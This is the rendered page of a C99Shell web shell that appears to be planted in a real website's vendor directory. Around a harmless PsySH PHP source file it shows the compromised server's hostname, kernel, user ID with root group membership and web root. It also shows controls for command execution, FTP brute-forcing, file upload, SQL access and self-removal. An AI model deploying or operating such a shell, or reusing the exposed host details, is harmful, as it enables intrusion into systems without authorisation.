!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/psy/psysh/src/CodeCleaner/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ValidFunctionNamePass.php (2.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of Psy Shell.
 *
 * (c) 2012-2023 Justin Hileman
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Psy\CodeCleaner;

use 
PhpParser\Node;
use 
PhpParser\Node\Stmt\Do_;
use 
PhpParser\Node\Stmt\Function_;
use 
PhpParser\Node\Stmt\If_;
use 
PhpParser\Node\Stmt\Switch_;
use 
PhpParser\Node\Stmt\While_;
use 
Psy\Exception\FatalErrorException;

/**
 * Validate that function calls will succeed.
 *
 * This pass throws a FatalErrorException rather than letting PHP run
 * headfirst into a real fatal error and die.
 */
class ValidFunctionNamePass extends NamespaceAwarePass
{
    private 
$conditionalScopes 0;

    
/**
     * Store newly defined function names on the way in, to allow recursion.
     *
     * @throws FatalErrorException if a function is redefined in a non-conditional scope
     *
     * @param Node $node
     *
     * @return int|Node|null Replacement node (or special return value)
     */
    
public function enterNode(Node $node)
    {
        
parent::enterNode($node);

        if (
self::isConditional($node)) {
            
$this->conditionalScopes++;
        } elseif (
$node instanceof Function_) {
            
$name $this->getFullyQualifiedName($node->name);

            
// @todo add an "else" here which adds a runtime check for instances where we can't tell
            // whether a function is being redefined by static analysis alone.
            
if ($this->conditionalScopes === 0) {
                if (
\function_exists($name) ||
                    isset(
$this->currentScope[\strtolower($name)])) {
                    
$msg \sprintf('Cannot redeclare %s()'$name);
                    throw new 
FatalErrorException($msg0\E_ERRORnull$node->getLine());
                }
            }

            
$this->currentScope[\strtolower($name)] = true;
        }
    }

    
/**
     * @param Node $node
     *
     * @return int|Node|Node[]|null Replacement node (or special return value)
     */
    
public function leaveNode(Node $node)
    {
        if (
self::isConditional($node)) {
            
$this->conditionalScopes--;
        }
    }

    private static function 
isConditional(Node $node)
    {
        return 
$node instanceof If_ ||
            
$node instanceof While_ ||
            
$node instanceof Do_ ||
            
$node instanceof Switch_;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0029 ]--